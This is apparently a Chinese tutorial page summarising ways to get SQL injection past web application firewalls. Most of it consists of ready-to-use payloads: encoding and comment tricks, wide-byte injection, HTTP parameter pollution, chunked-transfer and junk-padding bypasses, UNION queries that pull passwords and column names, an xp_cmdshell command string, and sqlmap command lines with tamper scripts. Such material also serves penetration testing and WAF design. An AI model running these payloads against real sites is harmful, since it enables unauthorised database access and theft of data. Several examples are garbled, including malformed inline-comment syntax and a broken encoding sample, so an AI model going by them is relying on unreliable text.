SQL注入绕waf思路总结

2023-02-13,,,

1.关键字大小写混合绕过

关键字大小写混合只针对于小写或大写的关键字匹配技术-正则表达式,如果在匹配时大小写不敏感的话,就无法绕过。这是最简单的一个绕过技术。

例如:将union select混写成UiNon SelEct

2.关键字替换绕过

某些函数方法或者正则表达式会替换或删除其中的关键字,例如union、select等。在有些情况下,方法会匹配多次。方法很简单,关键是要知道目标匹配几次。

例如:

uniunionon匹配一次后就变成了union

selselectect匹配一次就变成了select

uniuniuniononon匹配两次的话,也会变成union

3.URL二次编码

在Chrome中输入一个链接非保留字的字符浏览器会对其URL编码如空格变为 %20、单引号%27、左括号%28、右括号%29等。普通的URL编码可能无法实现绕过不过存在某种情况URL编码只进行了一次解码过滤可以用两次编码绕过

例如:union=%75%6E%69%6F%6E

page.php?id=1UNION 1,2,3,4,SELECT(extractvalue(0x3C613E61646D696E3C2F613E,0x2f61))

示例代码中前者是对单个字符十六进制编码后者则是对整个字符串编码对整个字符串编码相对来说较少见一点

3.1Unicode编码

常用的几个符号的一些Unicode编码

单引号:%u0027、%u02b9、%u02bc、%u02c8、%u2032、%uff07

空格:%u0020、%uff00

左括号:%u0028、%uff08

右括号:%u0029、%uff09

例如:?id=10%df'%u0020AND 1=2#

SELECT 'Ä'='A'; #1

两个示例中,前者利用双字节绕过,比如对单引号转义操作变成',那么就变成了�',�\构成了一个宽字节即Unicode字节,单引号可以正常使用。这也就是宽字节注入

第二个示例使用的是两种不同编码的字符的比较,它们比较的结果可能是True或者False,关键在于Unicode编码种类繁多,基于黑名单的过滤器无法处理所以情况,从而实现绕过。

4.使用注释绕过

常用的注释符号://、--+、-- (这里有一个空格)、#、-- -、;--a

4.1普通注释

在构造的查询语句中插入注释规避对空格的依赖或关键字识别#、--+用于终结语句的查询

例如:?id=15 or 1=1#

4.2内联注释

相比普通注释内联注释用的更多/!content/只有MySQL会正常识别content的内容

?id=-15 *!union*/ *!select*/ 1,2,3--+

两个示例中前者使用内联注释后者还用到了普通注释。使用注释一个很有用的做法便是对关键字的拆分要做到这一点后面讨论的特殊符号也能实现当然前提是包括/、*在内的这些字符能正常使用。

5.等价函数或命令绕过

有些函数或命令因其关键字被检测出来而无法使用但是在很多情况下可以使用与之等价或类似的代码替代其使用

5.1函数或变量

hex()、bin() ==> ascii()
sleep() ==>benchmark()
concat_ws()==>group_concat()
mid()、substr() ==> substring()
@@user ==> user()
@@datadir ==> datadir()
例如substring()和substr()无法使用时:
?id=1+and+ascii(lower(mid((select+pwd+from+users+limit+1,1),1,1)))

5.2符号绕过

"and"==>"&&"或"&"

"or"==>"||"

"not"==>"!"

"="==>"<>"或"like"或"rlike"

" "==>"/**/"或"TAB键"或"回车键"或"%A0"

5.3生僻函数

MySQL/PostgreSQL支持XML函数。MySQL、PostgreSQL、Oracle它们都有许多自己的函数基于黑名单的filter要想涵盖这么多东西从实际上来说不太可能而且代价太大因此黑名单的确是更适合处理已知的情况。

6.使用特殊符号

1.使用反引号,可以用来过空格和正则,特殊情况下还可以将其做注释符用

2.神奇的"-+.",select+id-1+1.from users; “+”是用于字符串连接的,"-"和"."在此也用于连接,可以逃过空格和关键字过滤

3.@符号,select@^1.from users; @用于变量定义如@var_name,一个@表示用户定义,@@表示系统变量

4.Mysql function() as xxx 也可不用as和空格   select-count(id)test from users; 绕过空格限制

(这里未包括'、*、/等在内考虑到前面已经出现较多次了)`、~、!、@、%、()、[]、.、-、+ 、|

例如:关键字拆分

'se'+'lec'+'t'

%S%E%L%E%C%T 1

1.aspx?id=1;EXEC('ma'+'ster..x'+'p_cm'+'dsh'+'ell "net user"')

!和()' or --+2=- -!!!'2

id=1+(UnI)(oN)+(SeL)(EcT)

7.HTTP参数控制

这里HTTP参数控制除了对查询语句的参数进行篡改还包括HTTP方法、HTTP头的控制

7.1HPP(HTTP Parameter Polution)

例如:/?id=1;select+1&id=2,3+from+users+where+id=1—

/?id=1unionselectpwdfromusers

HPP又称做重复参数污染最简单的就是?uid=1&uid=2&uid=3对于这种情况不同的Web服务器处理方式如下

7.2HPF(HTTP Parameter Fragment)

这种方法是HTTP分割注入同CRLF略有相似之处(使用控制字符 、 等换行)

例如:/?a=1+unionselect+1,passfrom+users--+

select * from table where a=1 unionselect 1,passfrom users--+

看完上面两个示例发现和HPP最后一个示例很像不同之处在于参数不一样这里是在不同的参数之间进行分割结果到了数据库执行查询时再合并语句。

8.缓冲区溢出

缓冲区溢出用于对付WAF在内的软件本身有不少WAF是C语言写的而C语言自身没有缓冲区保护机制因此如果WAF在处理测试向量时超出了其缓冲区长度就会引发bug从而实现绕过

例如:

?id=1 and (select 1)=(Select 0xA*1000)+UnIoN+SeLeCT+1,2,version(),4,5,database(),user(),8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26

示例0xA*1000指0xA后面”A"重复1000次一般来说对应用软件构成缓冲区溢出都需要较大的测试长度这里1000只做参考也许在有些情况下可能不需要这么长也能溢出。

9.整合绕过

整合的意思是结合使用前面谈到的各种绕过技术单一的技术可能无法绕过过滤机制但是多种技术的配合使用成功的可能性就会增加不少了。这一方面来说关系到总体与局部和另一方面则是多种技术的使用创造了更多的可能性组合除非每一种技术单独都无法使用否则它们能产生比自身大得多的能量。

例如:

z.com/index.php?page_id=-15+and+(select 1)=(Select 0xAA[..(add about 1000 "A")..])+++1,2,3,4…

id=1+SeLeCT+1,2,concat()+FrOM .tables ++like+database()--+

?id=-725+++1,GrOUp_COnCaT(COLUMN_NAME),3,4,5+FROM+.COLUMNS+WHERE+TABLE_NAME=0x41646d696e--+

10.架构层绕WAF

(1)用户本身是进入waf后访问web页面的,只要我们找到web的真实IP,即可绕过waf。但是如果网站设置了只允许域名访问,而域名解析到waf IP那么则无法绕过。只能其他角度出发绕过

(2)在同网段内,页面与页面之间,服务器与服务器之间,通过waf的保护,然后展示给我们,只要我们在内部服务之间进行访问,即可绕过waf。

(3)边界漏洞,同样类似于同网段数据,我们可以利用已知服务器存在的ssrf漏洞,将数据直接发送给同网段的进行SQL注入。

11.更改请求方式

有的时候,由于数据太大,会导致waf无法将所有的数据都检测完,这个时候会忽略掉我们代入的sql注入语句,从而绕过waf,即:使用POST请求,对服务器请求很大资源逃逸sql注入语句。使用Burpsuite直接转换请求方式。

12.文件格式修改绕过

文件格式(协议未覆盖),页面仅对Content-Type为application/x-www-form-urlencoded数据格式进行过滤,因此我们只要将Content-Type格式修改为multipart/form-data,即可绕过waf。

13.垃圾参数绕过

WAF在设计的时候都会考虑到性能问题,检测数据包的包长或检测数据流长度,有一个限制。因此在设计WAF的时候可能就有一个默认值,默认多少个字节的流大小,或是多少个数据包。此时可以填充数据,达到一定数目之后,POST中的sql注入恶意代码没有被检测了,达到了bypass的目的。

http://127.0.0.1/sqllab/Less-2/?id=1 and id=0xA*1000 uNiOn SeLeCt 1,version(),3 --+

a=AAAAAA*[很多个A] &id=1 order by X[1-3]
//0xA*1000  指的是0XA后面的 "A" 重复1000次

14.分块传输绕过

在burp中关闭自动补全,删掉Content-Length: xx字段,添加Tranfer-Enconding: chunked就代表是分块传输了,下面字符依次类推,注意结束时有两个空行。只有能接收POST请求的对象可以使用这种方式。

直接使用burp插件方便快捷,项目地址:https://github.com/c0ny1/chunked-coding-converter

14.特殊编码绕过

1、十六进制绕过

eg:UNION SELECT 1,group_concat(column_name) from information_schema.columns where table_name=0x61645F6C696E6B

2、ascii 编码绕过

eg:Test =CHAR(101)+CHAR(97)+CHAR(115)+CHAR(116)

3、Unicode 编码

常用的几个符号的一些 Unicode 编码:

单引号: % u0027、% u02b9、% u02bc、% u02c8、% u2032、% uff07、% c0%27、% c0% a7、% e0%80% a7

空格:% u0020、% uff00、% c0%20、% c0% a0、% e0%80% a0

左括号:% u0028、% uff08、% c0%28、% c0% a8、% e0%80% a8

右括号:% u0029、% uff09、% c0%29、% c0% a9、% e0%80% a9

15.空格过滤绕过

可代替空格的方式:

1、/**/

2、()

3、回车 (url 编码中的 %0a)

4、`(tab 键上面的按钮)

5、tab

6、两个空格

eg:union/**/select/**/1,2
select (passwd) from (users) # 注意括号中不能含有 *
select`passwd`from`users`

16.过滤等号 = 绕过

1)不加通配符的 like 执行的效果和 = 一致,所以可以用来绕过。

eg:UNION SELECT 1,group_concat(column_name) from information_schema.columns where table_name like "users"

2)rlike: 模糊匹配,只要字段的值中存在要查找的 部分 就会被选择出来,用来取代 = 时,rlike 的用法和上面的 like 一样,没有通配符效果和 = 一样

eg:UNION SELECT 1,group_concat(column_name) from information_schema.columns where table_name rlike "users"

3)regexp:MySQL 中使用 REGEXP 操作符来进行正则表达式匹配

eg:UNION SELECT 1,group_concat(column_name) from information_schema.columns where table_name regexp "users"

4)使用大小于号来绕过

eg:select * from users where id > 1 and id < 3

5)<> 等价于 !=,所以在前面再加一个!结果就是等号了

eg:select * from users where !(id <> 1)

17.过滤大小于号绕过

在 sql 盲注中,一般使用大小于号来判断 ascii 码值的大小来达到爆破的效果。

1、greatest (n1, n2, n3…): 返回 n 中的最大值

eg:select * from users where id = 1 and greatest(ascii(substr(username,1,1)),1)=116

2、least (n1,n2,n3…): 返回 n 中的最小值,与上同理。

3、strcmp (str1,str2): 若所有的字符串均相同,则返回 0,若根据当前分类次序,第一个参数小于第二个,则返回 -1,其它情况返回 1

eg:select * from users where id = 1 and strcmp(ascii(substr(username,1,1)),117)

4、in 关键字

eg:select * from users where id = 1 and substr(username,1,1) in ('t')

5、between a and b: 范围在 a-b 之间,包括 a、b。

eg:select * from users where id between 1 and 2

select * from users where id between 1 and 1

18.过滤引号绕过

1、使用十六进制

eg:

UNION SELECT 1,group_concat(column_name) from information_schema.columns where table_name=0x61645F6C696E6B

2、宽字节,常用在 web 应用使用的字符集为 GBK 时,并且过滤了引号,就可以试试宽字节。%27 表示 '(单引号),单引号会被转义成 '

eg:

%E6' union select 1,2 #

%df%27 union select 1,2,3 #

19.过滤逗号绕过

1、如果 waf 过滤了逗号,并且只能盲注,在取子串的几个函数中,有一个替代逗号的方法就是使用 from pos for len,其中 pos 代表从 pos 个开始读取 len 长度的子串

eg:常规写法 select substr ("string",1,3)

若过滤了逗号,可以使用 from pos for len 来取代 select substr ("string" from 1 for 3)

sql 盲注中 select ascii (substr (database () from 1 for 1)) > 110

2、也可使用 join 关键字来绕过

eg:select * from users union select * from (select 1)a join (select 2)b join(select 3)c

上式等价于 union select 1,2,3

3、使用 like 关键字,适用于 substr () 等提取子串的函数中的逗号

eg:select user() like "t%"

上式等价于 select ascii (substr (user (),1,1))=114

4、使用 offset 关键字,适用于 limit 中的逗号被过滤的情况,limit 2,1 等价于 limit 1 offset 2

eg:select * from users limit 1 offset 2

上式等价于 select * from users limit 2,1

20.过滤函数绕过

1、sleep() -->benchmark()

MySQL 有一个内置的 BENCHMARK () 函数,可以测试某些特定操作的执行速度。 参数可以是需要执行的次数和表达式。第一个参数是执行次数,第二个执行的表达式

eg:select 1,2 and benchmark(1000000000,1)

2、ascii ()–>hex ()、bin (),替代之后再使用对应的进制转 string 即可

3、group_concat ()–>concat_ws (),第一个参数为分隔符

eg:mysql> select concat_ws(",","str1","str2")

4、substr (),substring (),mid () 可以相互取代, 取子串的函数还有 left (),right ()

5、user() --> @@user、datadir–>@@datadir

6、ord ()–>ascii (): 这两个函数在处理英文时效果一样,但是处理中文等时不一致。

21.mysql特性绕过

1.= 等于

:= 赋值

@ @+变量名可直接调用

select * from users where id=1 union select @test=user(),2,3;//1
select * from users where id=1 union select @test:=user(),2,3;//自测可用,继续加油,root
select * from users where id=1 union select @,2,3;//NULL

22.Sqlmap 注入绕过

当我们使用 sqlmap 注入遇到 WAF 时,可以使用 sqlmap 中的 tamper,它里面有很多实用的防过滤脚本

首先我们需要确定 WAF 过滤了那些关键字,比如:单引号、空格、select、union、admin 等,当我们确定了过滤机制可以使用 tamper 进行绕过

使用 sqlmap 确认是否含有 WAF

sqlmap -u "http://xxx?id=51&amptypes=4";; --thread 10 --identify-waf

使用参数进行绕过

root@kali:~# sqlmap -u "http://xxxx?id=51&amptypes=4";; --random-agent -v 2 #使用任意浏览器进行绕过,尤其是在WAF配置不当的时候
root@kali:~# sqlmap -u "http://xxxx?id=51&amptypes=4";; --hpp -v 3#使用HTTP 参数污染进行绕过,尤其是在ASP.NET/IIS 平台上
root@kali:~# sqlmap -u "http://xxxx?id=51&amptypes=4";; --delay=3.5 --time-sec=60 #使用长的延时来避免触发WAF的机制,这方式比较耗时
root@kali:~# sqlmap -u "http://xxxx?id=51&amptypes=4";; --proxy=211.211.211.211:8080 --proxy-cred=211:985#使用代理进行注入 root@kali:~# sqlmap -u "http://xxxx?id=51&amptypes=4";; --ignore-proxy#禁止使用系统的代理,直接连接进行注入
root@kali:~# sqlmap -u "http://xxxx?id=51&amptypes=4";; --flush-session#清空会话,重构注入
root@kali:~# sqlmap -u "http://xxxx?id=51&amptypes=4";; --hex#或者使用参数 --no-cast ,进行字符码转换
root@kali:~# sqlmap -u "http://xxxx?id=51&amptypes=4";; --mobile #对移动端的服务器进行注入
root@kali:~# sqlmap -u "http://xxxx?id=51&amptypes=4";; --tor # 匿名注入

使用脚本绕过

root@kali:~# sqlmap -u "http://xxxx?id=51&amptypes=4";; --tamper=A.py,B.py#脚本A,脚本B

还可以同时使用多个脚本,使用-v 参数观察 payload 的变化

sqlmap.py xxxx --tamper ”模块名“

目前官方提供53个绕过脚本

priority定义脚本的优先级,用于有多个tamper脚本的情况。

dependencies函数声明该脚本使用/不适用的范围,可以为空。

在日常使用中,我们会对一些网站是否有安全防护(WAF/IDS/IPS)进行试探,可以使用参数--identify-waf进行检测。下面介绍一些常用的tamper脚本。

1、apostrophemask.py:将引号替换为UTF-8,用于过滤单引号

2、base64encode.py:替换为base64编码

3、multiplespaces.py:围绕SQL关键字添加多个空格

4、space2plus.py:用+号替换为空格

5、nonrecursivereplacement.py:作为双重查询语句,用双重语句替代预定义的SQL关键字(适用于非常弱的自定义过滤器,例如将SELECT替换为空)

6、space2randomblank.py:将空格替换为其他有效字符

7、unionalltounion.py:将UNION ALL SELECT替换为UNION SELECT

8、securesphere.py:追加特制的字符串

9、space2hash.py:将空格替换为#号,并添加一个随机字符串和换行符

10、space2mssqlblank.py(mssql):将空格替换为其他空符号

11、spce2mssqlhash.py:将空格替换为#号,并添加一个换行符

12、between.py:用NOT BETWEEN 0 AND替换大于号(>),用BETWEN AND替换等号(=)

13、percentage.py:ASP允许在每个字符前面添加一个%号

14、sp_password.py:从DBMS日志的自动模糊处理的有效载荷中追加sp_password

15、charencode.py:对给定的Payload全部字符使用URL编码(不处理已经编码的字符)

16、randomcase.py:随机大小写

17、charunicodeencode.py:字符串unicode编码

18、space2comment.py:将空格替换为/**/

19、equaltolike.py:将等号替换为like

20、greatest.py:绕过对“>”的过滤,用GREATEST替换大于号

以上测试通过的数据库类型和版本:

mysql4、mysql5.0和mysql5.5

orcale10g

postgresql8.3、postgresql 8.4和postgresql9.0

21、ifnull2ifisnull.py:绕过对IFNULL的过滤,替换类似IFNULL(A,B)为IF(ISNULL(A),B,A)

测试通过的数据库类型和版本为MySQL 5.0和MySQL 5.5

22、modsecurityversioned.py:过滤空格,使用MySQL内联注释的方式进行注入

测试通过的数据库类型和版本为MySQL5.0

23、space2mysalblank.py:将空格替换为其它空白符号(适用于MySQL)

测试通过的数据库类型和版本为MySQL5.1

24、modesecurityzeroversioned.py:使用MySQL内联注释的方式(/!00000/)进行注入

测试通过的数据库类型和版本为MySQL 5.0

25、space2mysqldash.py:将空格替换为--,并添加一个换行符

26、bluecoat.py:在SQL语句之后用有效的随机空白符替换空格符,随后用LIKE替换等于号

测试通过的数据库类型和版本为MySQL5.1和SGOS

27、versionedkeywords.py:注释绕过

28、halfversionedmorekeywords.py:当数据库为MySQL时绕过防火墙,在每个关键字之前添加MySQL版本注释

测试通过的数据库类型和版本为MySQL 4.0.18和MySQL 5.0.22

29、space2morehash.py:将空格替换为#号,并添加一个随机字符串和换行符

测试通过的数据库类型和版本为MySQL5.1.14

30、apostrophenullencode.py:用非法双字节unicode字符替换单引号

31、appendnullbyte.py:在有效负荷的结束位置加载零字节字符编码

32、chardoubleeencode.py:对给定的Payload全部字符使用双重URL编码(不处理已编码的字符)

33、unmagicquotes.py:用一个多字节组合(%bf%27)和末尾通用注释也一起替换空格

34、randomcomments.py:用/**/分割SQL关键字

SQL注入绕waf思路总结的相关教程结束。

《SQL注入绕waf思路总结.doc》

下载本文的Word格式文档,以方便收藏与打印。